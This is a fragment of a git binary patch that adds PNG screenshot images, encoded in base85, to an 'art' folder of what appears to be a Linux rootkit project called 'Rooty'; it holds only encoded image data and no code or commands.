z`u1fJ_Ah-I8Wr8j7>aApiTsCTn_(WD`f9!${=A9yn9dsCCCQbHG2=+iY<4jeI)McI zkKs-Lr=Wdn8r(DTq5&>}4<1y%;91KLzz@+-r@WoRmW zz{0lx?uK=8aL1$79G^E$5uXLk-|1c$)57Ybl!~Z-%yvJa-DGzvq$Y-O9c)z`T^DxF zLVI^O-h8Ha3$jaBRB)qaT~2M~vVTg`hjr~oC$m-sC$ln|DkwvB>py^B6KuzQRULzf zAh%zWfz_V9#Ep$=Z8V z@{R30>Y9_=Oi{H@U-m97Ce*iYERK|t={)(P^-%f{sZ=!3d@>Uvhkth?QWmf5bKcRH1quhd;ZuxC@0fSo|ok6*1 zq*O@%Nh-xFFRYjHgfx0?KXD6D8SruQ9Tyf14MwiW-=k9t$e>&>(%$|)oUm$^tkrh+ z&gguQ6KEk zq?vqkUN=op7gtsZ4kQOGvyrl9AtB)$FdK4!U%G1=BAK%9c=g`y*j-B7t32K=T^a3R z@%=8>k`Qsi67iTgWqI($NGPp;OYpWno?h3fsJtjKAwqC{tdIx6x~A5qTz}RT)%BzL z!I)}CoE7Y4uaBR;t@1atotq+!x2x+cq^ra)7hqMIb*kzeAf<|qps{$7KQUWgB3J;8e5av4HDy`o;`Cw=Z(Kq<#&r61m_(fM>KJDi#tybsXdxS1E zB&KaIxFo)!S6z~jPPYEIJf<@h8c?c9%*~zi^m#?@O z`VPENXkk{+S0#g+17WO7K#LAt3Noajf0p>DYV~o2e6MFs+|0!d$Imt(D~1ILxuB=u zeT!C?FUEV(sDYA&2mCTyC#Ny{Ylu|J4m)M_o~0nouz7Nm{rWL_F7-xL@xCBM06#Q+ z;NXn{tTS{u_?xn#%BBPDX8QsT`FLjJBH?1k$gF3NCIlA6ji3LhYER&%0rRU}z*e=Y zKcmIo*B@ViQ<)14em|6mY<3rmNnkVN=BlQ4X_&47-M6q36kTqAC05&bW-#zt8tQ`A zLDFaIK6Ui;VW;D1TDRc0-1?U99~%R7vyAlW`L+WftcSulmC?M|v~8bL zrueFh!J*;~!>mBJ!mq5bw{aho@f@EuaGtkGF*6}zkG7SviXTDUL(gE?>;e)l4dzh! zqg`hx8bL!>iHR+iNLA-&bIE%sV@n65W47AQG@to!$UP?kU%^GF9=3T#N2zUp#;{P2 zVj`*HMHI#TfXXDCrAH8Vny}?s+N#S1?m#0d6OX(C%vSUat3g>VcibAI;AZndYtH!l zt7?Dh;cfY|9q0f0;$6KG>p51Yh`7Eb#K&_a3kldxDZzoYyO||QSh!Y`|15vZvCMKv zFMgQ`eMHxd8YFe_za24@FdL}g$#=wgWO=E!S{X(yWBVwCpZw@f{h`p#8XP)tPNaaU z9@Z?4lx7gprSsx!KahmSC1Jx%5{H z8F;wJo<9{1+LE=8&@EW?aY%0Nd`EYH>E!Q;WW^^~20c+74EUh_KaJP_V#)ruMnfFe zDME`|L6%hnN#RkFI|Hyk;N9mVwr5A@qWZmtKrT!7@1>MW+A|9p?12c1^j7YOm5qH^ ze=aG4I=Tqe6DPeMG7qwKJuE|UxVY378eTZH%ZOMHFG`D^=R%*F8e@^O*YZIwk9>)T zBf-{PTvb(cNf_~@(!+m6tq$56PG7ICwsQ!q*KbHa9YzZKAY(?9u}=x3#YIct)@DMV zFLJ8J15GS6?;vZ)9LR-nEvb^E;&9n}dKj;=|r2e8xT5sSnxFOvq?pD-!B- z=E>o0&63MPj&AE&Gbo;w#S?1T*w6Sw`wNj*rNOVaBulOszg|3`+sUj2jY^<|KDQxo zEy0i>I=LAGx>9^U&6anNnGnT7-uc*|1sgJ&6CFsBQoqaAiu7j9`q9+E))tDmIQL;H zqQr#IbCrY|~AcP97_aj!sHQJ*>?c>s%T$YI{5Ca;2q45UKW{0S-S0++s~B++<)`5z_jMR)79A z<9Kt|JziKVVzl?w?yR8;R!+~g(C)HUaZ?X59c}o&J?K&?+<{JPlSk0JzT|=gLZlRb zw_yamWlb9?*B_kzaIwD+eZX*(bcx==a8mHT=aNI=CrI2sR8PNb2^;#+0Ig%HS);Ty zJgALAj~slA((9JMX6@XEoY~&e8V+~4159<7jAjfHXFmO2L#l)rDBYx2O5PBcO7nlo z--kjtP2S<-V6C4HsXhC-w`EL`f?mRb5<3NlL>@+}ZM15eVFHa7ryJ>g37sM)(Bcij zE5TXEV)_?xsd9G^IC+=Gvav_@q@RsiQgb~JNiE)8#!n$FGa96!byo*P#cmy^#HrkF z?Cb%Ql>L2t(1kK8B&$sykD=<3f`Zdh$db>T;z>bPmC_TR(Gh_p>wFLKZCnc(2}>O- z^+A4T1w|J&{_@RY?{K^=3VlGGYhex9zcgMdr6-biwSA@#^kL^0o0=Mlt$D0M9W@cW zQFnO@CardxIBv9;*UGuF4Eq&YJHB(ObTP#r6a`I|Iwg_GpSfykMIFEsg~oqEb?d}0 zMVGR%4R%-2)Ee6D$q|1SDMPUGuqivmV|1@h-0nJ8KBh_5y`oRQ_j~(eWuM=nM>0}m z!+|U)ktLb}nV#NyPImdUbk$(o&E=-0)VnA*i-ct1q)-JfCXGmHN|92v0Q8sKtM9ff zn^>F4UiEP%1<#)#z1?$P*5ftb$KnYtz;kM+jWt^0Z=ffQf37`Gk=#V;#4de-=YCuF zGpe8T#}~`kpvaRJ1f8O2IcVRGd&uMV$#mHw^+xGW zdsf8zrZU3ANQ63#83ik*y0HZhne?;5FnVso=c%|OhLP>y8=uEiXYC)6`;PZx{3YEZ z>B;;H$czVeo8EUrq8`)^rq-Oda4+lgm*^!a=s{#n{+^_f^F`FWW#CNBc;C%91g1kG zKSet{haBkFF|sU9jFx6=QZU(RdDc z4%C%0L2CR=4;=!5OwZ>ufPn(-;s~fZededKg}rk_m0Io8z8f2VK(W#bF@3kERF;-R z;vi%ATd@H+?AjABb?W`0{&yyTI?5fFJ(j-g(9}7bvbHU>&S&X$AsxqU#)ze3I@G2Y z9S*85Y!C%B0}_Il__Y5Wbua?j7&UAW+hK#2JrvV+4S8r1K6-rP#LM$Vz^{2VM=;mJ zu}p*inY>F?Y->OK>|_dfd}ATDQei3@ni*oG#B(Jr2cJ^Ce5E2jO}hNn&#@l<8mZ9? z7vo;d4UsUO8(;Tj73aL+B-!$?yKKH8OH^WcW-xGaS63lc!#S&c$CA?q{(#hCOEGos zHq}9Lh2t+$k)}%SH?#{{-*smPl@gSUc}rhbe0+D!_4T1EMC7MnikOiy%JAjS_Vwq{ zp}5n+UNLQ5pdYAdB@i)dwxu$nnv8hp&#V~}Kb-g5J4Y5YL6Y$xbndYTMC4M07W-SD z+`Zy0W%uJgRGFlpGhQyPX^?CfE1W*CpcJj<$lY?mztFOUw_4ZoAe`m{i=4gXYw|70 z{J!N-iDntbcWY&e>>QYV(G( zW#XUUrG*aiGjN#LLmSD z++Niyxn}-nnxa)HWD;4@H|Gz+F(uuHr)bPdlQp8L+8oO*op4-F4LgN*7srwqDo`_I9}f#g zeyxesE;u=9AI1`nR#1(dZ7gLgoJ4wIO!k~u%uv%8$Q+hSMQmFGTXBmsQ;J1&)2gKPB3n~%3x^rqz^ES^A25<# z7n3?bA1W+2V;C7g9NW^O(QDfB1A`nnOPu<^ZS7}PcE1HionbsnM%-S&d5D80JJztW z#D@@jm4X&7L}6QJPfrRpW{D4Cy@L$BDHV%D$%pxR9UdKR7362=;vlXG{oqg|_@Ogp z$_{4#sK5-{-~NhBI2ZK8mibh;lqM?=3T~bcOENm9k2^i4%4>Lso?KxKv7gHfrlAlE z;xF4$-mI98Ga@3BSZY49EJ7FsNABQ`%*Mq_?+YJ3FRYg|RZ0bCpo_dS$Zlp0eQt%9 z!=HzKd_M69sw=$!QNPvXL(+S1|1h=3DMWAG_ff|@k9@_x!9fE)|E!(YnR=5_a$d;h zwYQ9W2JJeN5a$WI27#$PmvSkEuM<>*-j5;9{b9U$rvn{JL8hkh5lNIRf(qp@Ubv&K z3s{UUzRhI{_hb#xY8o6g%TravU#*QdqI33=g>^7%q0AT)(X?Y0fDn89L zj`y;Y`pJ)2=76kT`cFV)v9XT3!JnzD0b=#v-A7vkxRKCoD!R{Z8BUqYcq`&`Q!$Uh`!MtY*?BUMAMeOMCsm=d|Vl&hsH#9AoSHK z;3McWloq4b%IH!{`@PR(6ZUclUWLC2Q!$y>u*lp>Ta8tXOs;Y`>T8&_4)1|bz{L9c z);T2UIkflilDihWbplS;qYGC1T=ht*T5}c)zZk8W(8Uo8KIi0L4ot_$lk?%-g?&B> z)?UwwL^R?Wm#md*pkSxwaPT$x8 zdKm)*`0lY}A5g~$Hikap>pbP++D`!|jvw3g=2kMxAh*8j0h~t;`EYtH;DD*9^0@-0 z1DKuZQYyQMQ~08HDKv^P4C+d}^^ihzi%4rGDfgnc2{ld2nkqT4({y|L2~<#i?h^`F zr)M<)aZVoXZD>7y^7!ePvnFSw6fsKc+ekzLd>`)U?huVE-775vmF(@rbrpfVAG{9}lXCL&}BRXn~tMwJ4+qy4*L`B{>L5)}m%flxRdyte#ndl<>qP z3YRQ_aKF*^#?RDx2ZJZ*0Wn3cFCHb#{fK>w99_8}W>^CN#3FI}K^~L)!cIN= zvsSsV5O(0=DkmP9614Tt8#{RBB)`^~CxBny*f?q&4ynWzM2SUBmDGJ=CeLGuIzu&= z0OXO^4##Y)!p_mai}M)OjQy!i{C$RhTtUkrke&$HLITY|GdpG{TYEe#k2AEyq`9Oy z{8_Zaz!%r*9U(i`#>IBYr_6_4(m^qJ?g0m{BA;I^vn6QfUT~+4tpcE$AwWOw>Mvm% z3sY+H+F$bbW759vnY6o{%wk7ds&b~KI=7V>F9I_x40@JZXG9JiKSzAE-+`^Q>wZ6U zNwD*fN2nNYTHd9btIRFnKMRvyS`B!RiZ=B&`gCuS=!rt5|14C(9K+#v$VK5O5Z5;p zyJD;yu{{R|0(Lb*p=;W>&sfCjl>upeU5+xF4siq}rz+JVwh-5Tsb{~0u@T@^H*Av7 zrutbg>#Mn+1N}6Y=CepItFO2yCc~(Spi-}b>Wg=3-ME&h?Zf9K>f#X#vx`Wqq?jot ze>p->XbWS;kofmfw*y|pwwaczKB|8F3*s-5U4F4*fv_cbZcd#duE9$7NwSWaM@Hm? z7@TMu`F0w2D&UG-7rWHr@|N z8`wn+l>q>ml~)69yb-6nwD@~o zg4jKg`<@RQ1D4e;+I#(+)sbWV+5Zmn--rqSvtMIs-wQeDZ?MgAU^fWhk2Do5#y?D( zNz9Ud;SV>g<#w3BR|fyO5}OlU)+xpt7~r8l0FQs! z2VDQf+}I8OmTlEZ$XRgOcU2DCa^ADxYhzF?4Jsk$zp~Xpv(=F~Bk(s+7t>{Mq`v4!$3yt%*sm zdl^4J#?q*O=9uu-+;}Ee6@5#8{FlgOX?tMs_!p`jssQ2|ylRNe71MJeu$L{-X42{5 zM(^T^?l$icn9L299LHEmPfY}gyaud?&8(OvJ_^c>BEq93vD*DBM^^!MjGLfdm8H}s z>lMERKphd`w%bB|=1NNd*I;)BEFao!`_Z{!foClH@n`8Pz~s(k7h-A*>El3W`UF<9xmAW<4E+UCLSPtn&`pp`u?bnvq^`8=2;+C1D{{H^z-BBzLi2HgmSrd(tT&mlj zWv&SIv9br{{ygpZPyQ#Tm^vuY7}|ts!Y?*W!r+Y2$JBplAE^tpV-3~{$Kq|t#3( z#sSGU^|n9vaNQ*$nT-b9OVVTOixtJ4O5U`%WKTsgi^wqQkAml9GA${{03lWZ^8-FH zO@!MkrPm7DyatGs#d%Y(p8{+03YBCrabq^XEm z7nIgg`ie8V4dVYah2|=;L*Kc_nDzOh;FBLj{&Y$b*2m^bBEmJH>GkGZU=*=3O;0RW zyu$=J*M&Wu5pZc@p{>^*xp>jGO!rd2xg3+|Vf-T7So(Bw6B#cR(gu739-fX@EtL+^`N6Ubi=0BvXNEc78ItszIk_<Vu%&6dYZ=jEgE-WS?#QMcV^;$Fq0O3MfTR3O)x? ze0@V=`f~gp2hcnY9kCy^(rrEezvy08AA3~F70B&kp(nWk1w!1OOktM1csoo9tV?*!bV7z+@?7Mhr z=f`LAB<)`&WB>Rh{50~sj_jZctdiSUGtr+Xj|;Q5Io1pQqKZjXY2^O7Jj8?<>eQ(- z;Em%|@Up0VOFy(}251c*WIQB37X}2lnrp^VdOq)W6NjEdKYb>~`nBFFF6}#lDoPOg*Cc@MIi0$?695 zFL>)rIsaGHO2?lc0Ojpx{Fz&~su2RsnEB||x0-5dtm^LtF9Soxwjn|@Qy|pJlT}*s z;Nh5xKNBz*fqwKX{dw%l@ef}}X9V@FE)8&_hzF-e#0B7S zW233i4Rx_#nAC8^bgUc+K8y{!{$F9%FAP^|*Ql81TJ08Erb2bgq<>M z&d9NKMpdE9RHY{Znq29YG54Nm+;;AtD#qcqC~HY!t=oANqJJQCbRo*m; zot!^_`b@uZdMG3t>4QXYNu*uS2t%&bIzXDwf97O8r+~e;{#xK*Vbr@uTThL4xDM3i zsub)s*s0r}>9XnI`6L%Mf9&$tzfN-D*tQBP7%7pmyjg6J?9+-_9Ya-&epy)*7d0w+ z(eYudVAAF*xWef7c^?=zMU}5}Rkh{rcSQ7(eQYaqZg$)nH6S)T&@rc2hI%bmG(Cz2 zJ3McL&ty~8XWo;oJu4~i7i!hz^Ey)Wd-X*3DJaRy1Y1%&OV zR(s@=T z1KWNf(DWYUbJqfHE+}fpXkPu+wAyM9d%r`)Jt0$>LGRf%ppi*3n~3OFxGj&s81NFM zD^R<`ZR!Damof$~z6Vvrrdp{^a^#r4G#cbsp>vya1-%w;@k>s}s0{sag69@sy52=) zcz@3)_62CS3G+T>h!Y~P620zEIw>+`MV3AGM4~Hx9sioUgb0 z_6)oWe(9K&e3gY787?{>@%pGH%9icRDWoKd!5WEj&Ygj2LRekj&7YF{h?u#eIeM(c z7bSo^+M(*8)^o9S-KMVg_wqzMTegtm8Y11XtsO6AvukL0kcxmJ26#zEpVmWj-vf5UO6Z zTf)4A#}p#6!RET+#6M6^xf+ne6yhtBzJU0-zgS_bE#yg0x=*^C>j_x#{%=$Ff5m&6 zPLPj&Ii9v=h(6PA~jh)`^bh(82q|Jc%tEvt2ggj zBJsPYvLL>f%h!cbiEd$R$t341fpxmS$@B^QVCUX<6rwSsBk=Ipyx_H$7CRgIRbOTj z5HlnWm1I-+arJE1LTaLE&-j%Z%htDQ7gE`A(%7$)mGFbO4IT73$xGylK)(FXct4;K zvPy^4&i~oEFUv&_>f6%pQ8)J0Zqn298NAjr>WbkoE7o=ETd{Ey&7&o(0EUW5j#Twm zr->`s+KyI8ty(N+r(2=$tN39*XsQr`m*FyTJ zjL*V|xo4RJlY$~V_y{RX{7#*00@$61HdX%wbuM4$q?(y#rbNkl*6eROC79exg+?aS zLYeaYnhMlqvFden0`@>xXi2~=vpLEw7grMzVD~DAuL7mKs`c{ZJpR!w!Ds5G(<_oQv&`XNuMVenqP|o@}{E zYVYy(Yz^c*ATr1JdTN;;c9*fPxI9Y#1Fxp0=`}+pJMX%(%_v(NH0h%zU`f7A@_vR~ z2yx6MeSLF8Ny6*oR1r!S#WZ>$mUL7ab4tHLVP_2}d4hJ)W{&pWULDfaLhFaYbo=17 zx!GVs5jfMVqltyZ%jc0xX(qFql;ucCv+0;CcvqvP*LS7#0X1-(`|kfp$e<3`09qC9hSD)OJu$=e*@qsE9!51PXPTpv)?F}7x1eR zkv$W38hKeb29>NDYtOvRCvFP;=1o_$U$28W@nt~yki0-jd@VQd2ZN2M_hSuF-q746 zonD@WefUZ}=$F>&S;f|HTi9u~^77H}_r_u3N{Tc| zzOieW1W(D>>ID(?yx5gObN!k$Uc-~y(ns=m5~|Hxe@+q8jUxpKhv1v9=YCPe^mqka z7qSoB=#WXPbLIVj@p4)AlzBR3zD!A#1RGOy)|xWe*3I6($){k7{U~o=y4$8q>{$Wv|7m_J?FOn}>smTp^ZdIh1n=z6e(89fiy-9NvyvGrcLlF;03g)W>GiD@hkaNPOhEY z4`Jng=waqV+q;jb6NI%-9bY(;GRS(Sv)}c9a>|up;)_)6TfgFW0aFVI`9C0dso?D` zucc;IwlqE$dOI*ptJ{;2Z;#69uZ7sG&C#SrAgzjdc`?5QgW4%a(+e`6Y&~9nIdJ2T zj?H(oby9uaa&Q~0Kb)*;Qm?%BB>zg?%W$CC`!A0+MWSXk1c_gZDSs6R5d@%MbXSsSu0)v(t1qM0FDqDwC=dXL7#dZ_!xj&!e zq%_}Y(MO3SYF;l2V!sV`KcuAwxu?eu^-aX~C0|tleB@tyZ(5E#X>kAAc0*)hBc<(W ze45sD7mW#ZpimCfmGA?fnB6tPI;|xt0(D9FgOA-CRhZ(<>bL(u9OCtDV26=BsFQ2u zm9`Ai6tz89ilfm=yIz_BCb&G+0tnzxR; zgbpg(|79ClJ-!GFDy*)YG!QxcuAE4=I>Jue`WYm#Apws}>Am1YOhXT#qF2G;T5aJ& zXuBKk$bI?}`tR)@R}WZr-0vwl72tB~5kleZ;~u_Vv1X=O>f2c12Du21gXGWYS}2k28Ps0wtiQA4S{cqx zyW7mVIz;^I*daV|iK`W2+*cHShl_H2e>; zeBw*{V8Y55A%?nlKgbvcZ*zf&zKEYtJs-g@OS_E+L3mols8v6Xy#)xKW5B z*W-#*AQU#*2Amalh`{k$`pfz8SVlE}g`8ec{@ozTl(_f0OAfllUUUa2XXP8oA2Vb6 zWX6;$+_&~KQAMorqf({y7x}x7r%zkSB&-aHZPOPl` zc^v&)$oEN11)L=_!E5a1Cl9wdc2_5tnqD2+(H1_iK~g86x!CGij48{zrpvqf12rWc zi=n_RUC^a&EQ^Z>3b>TN4M&EAng}fLTmz9CuXO#%qo6Bbx%E_QojLcZ6v4z!2EDj{ z43=EA#!bR;(py$Rns`Mi--mK#8~-|(Z|6-!P?d`4ZQ&~V=E>kCNtfA?ZFl7hD%_2d zw(ei%{Mrft^qc@n+JhnP8)WNMKZSaSr_*j1=>#+GZ-iO?Pu0<(}pU zJt5!{QXoQiG%S2>*xGp*ytZq@3o92O?aFeiunU7KvZxcp-7R;mDhRovdXB+QCLse`I#V`@f0leCNR3 z7Uo516W3C^DYDRcdl_`kGm|GPKCG0bQfcd-u){fPn68KIJ48RLawij7u&L=To7T3s zzEHb$WLwDU3`t9tC$EYZ)71~F?QRg(sqU>v;|tzP^0FkK*3A^a>iWmA0l_PQ8pRt2 zS|f-Q;;JD&1v*zjpdi(sV6G~`pPN!qDcq#)M#)POF}$LOdIUL4?)HtMt|4GxU@&@r z+@1;7Ww;O0t`>}BYyeJq9O_SCtfVsY8VEqj`-px@PJ^5Z?7i;h@UMh6NBBV2k42AI z^BSFIKSY_W^t!Ai3w{Z+(nK6yZ2~VupUvfiaYTLWp$mjW>4b1#SP^q2W?R+bl8MTL zh4(xUQSqclIcI<}Q%{GP<24IGe?3K;WiG3@lpRzO_qw&IgTMBq7 z2`<@e?IYW0zIID5I%VQPf?LS00tAcvYcJYIj5zJ@F&63%T|=i%p^i`iSkZbp7R4WjM^@YvPDQv&$V>sLxnm;(y z_~!LWWlJC-irp!MurtYRim$#+c(r_GvfvZLJL3MhNB0>bqWF{Rv9d`aryq)xCb4$x zgLHJI1VtVh`JBrSb}VlbXznL2|q>FlHfy=&3Ug3>1jz! zOoJAirI9fpx&_JThMMT7Zi_4=UeQFJlkIH$fEIREyGmnkd&2&B83marQkOtNVDSwi zHm4)(`pV`ZtAllFH9KExSkhit6*C{RNW&qg@S~3pi$gtR&s_c{>&0=bV289czvwNi78m)&2O zc_6>-*v!51LiTX5&o!WKCqtjCbA>%DGX=%N-F!+QSNl>ZoXKca$E>WXn44T<-6h9H zbvrNVZ=Oo`#))Mn~Q(YpGuGm(g&qTJ}NKANCh#iaiWqNnb-FRsr?Fb(nb= zGnAbhKUCld_F*x#VG|?hU8LdF1CNucYhEQA)k&Yf3q5=WfMg$3=&}$Ue_5l>{t*FIpZZ{ow9^&AJC% z`h)D?r#pSp&G3Wk7xSX*l%xV9_(*qM zv^#6j(qFtm9Hs}G99oSdgrU)*4rnnt5;Xcwq(>u1@Mi+YuA&puMx_igVqfsh@Sd9~ zW)^+2dvOgjy%0ZH6S|zJEek=5)T@)_bZLHHZo|Yg@IDE%xBs;TQC|D9_Gf^vA#HqQ zy1Ph~np^}jZ7QBln0~;lX(2KeX1L&3k!`HhC+8hx=tv5aHY2*%a2+epj1|wTZgM#r z{3MNnd;MWF$+9q1SbLWd>yc8M*bO@3Uo?yUoMQqzq|~sIwB$nR(ddl5T@`)twuG9? z$B`|M$xG}s`CSG-ud&AssikVSd54>eQ&KBXNkLF*7RzPIFs_zrFB2^I$0#B1q<1zK z*EO+j#$~hU)M%s~IBht-oZf*u*YP3|Zs&sJ3(m{%OXk<5C{ef7G!K&h48-i0nM?BE zEx6|M!|Z_&Lk5rAVM%pg?}T34?j*Q*rVw2(xzDUfmXd@J(so{ewALes5Q`xJ!QR5ZKFU&FikY^E=ny(EDJ_nfM)g{?oO%|I+Af zP?A^V!qx3X@|)M+i{yFB-0k#i<@$3Ve^%yEq3;)wLn?le>lD7stnTLLfQN_-hwNOW zZjB{kbOQ;@dD-efOZ<5|-|4qsDOou>eZKj1PTLgnB_AZSZv(k^5tc`iqxmHn}Z0RuCFhEb0wLbCF2`D-le6(Boo} zNjU!)=7>*enHraVp+W21reQ^3CNtz6j=hRH(11om{%m|OuO}i@f$vVDK05C^aD}g%T4X$J^YthM)7djQpmC2O1*}Sgub!NSP|^qCxom&5xZd zy0GF1qlK@D!p@~6S&+D5@ywd3R66xJC<<@dWVrJyF5y%^xX8P;e+)XCngT8BaDsUR zZ)Iv|X{*fEDn^1l-!@a1V~b$ACd5|9}g$)hdIl=406p<+Z4*>u&N6|n#80JaJBfcGSjPmMdwEzoQ{eD z8H2k_)>gS8-r37tX|QZAbYZ-=&I^%5R5}`>rB|I4uR+t{X0%^sJD6z?92NEn6B`mQ z(LaB&mQ9IcewcK;;0OPecINAUIvHIbU|Vu^*DS-=^&-OE-;9dm|5_>Kw=sXLgD~a| z&(CssglOhHtGrK3RSalHD(p5{ZtMhfIXkz7ckiJNGz8zNA{oS1F-z%@5=@V&^&#Z1 z$%0&1Lf`AneCfy^60*eS-46*@g-o5*!T3<`2|nzVoEYAFBjxSGXlx~%TW!KJtxcY166e9#*@bYev@`ly2Aep90Sj@=4y zGS@B2sDnhwNp1E58X3RoSof{@a`3?hT=pZP@8Zc&u=KUPvP6xi{Eddsib_p|G&@%>JhH z-0=}yCvf>4R)@jXrq0UGD5DSUg0v!yOUq)Hf+RxZ8)R)RIf2|MvTH(}oFGgJrYT*Q zAOE6N=JHQnNV^02z_Y$j@QaaH&`FOYH+QARxhGt%1dnncktDdBIA{+selxrdk?v8b zJf3Apz$jYWXk_T1KZ*tND<>blCUn#Q(f63D?3{llddbTS-^9dMKjeT%5|XcgIY~SG z8~nThyZ6t%{v*Yecl-C3!~b>mEQjqa{|@8x{QLHQD%YP4|3}jQRRI&SP&euPkMEz6Glmwt z2*!WMa|=5SPzqW{Q;%Kx`&SPZ9=QWm_Wei0AE@HLRpqyC0c_h9G5h}Y1jhg7q5#4? utz19+J-;NCf2Sg&e|K2mN|)#|WzcGL`A%rtl6)k<>67PAygPpR*8cl literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Rooty/art/vncd-running.png b/Linux/Rootkits/Rooty/art/vncd-running.png new file mode 100644 index 0000000000000000000000000000000000000000..6d48a6e868d34853bcbc008be9c514b2c70d1ac8 GIT binary patch literal 698583 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 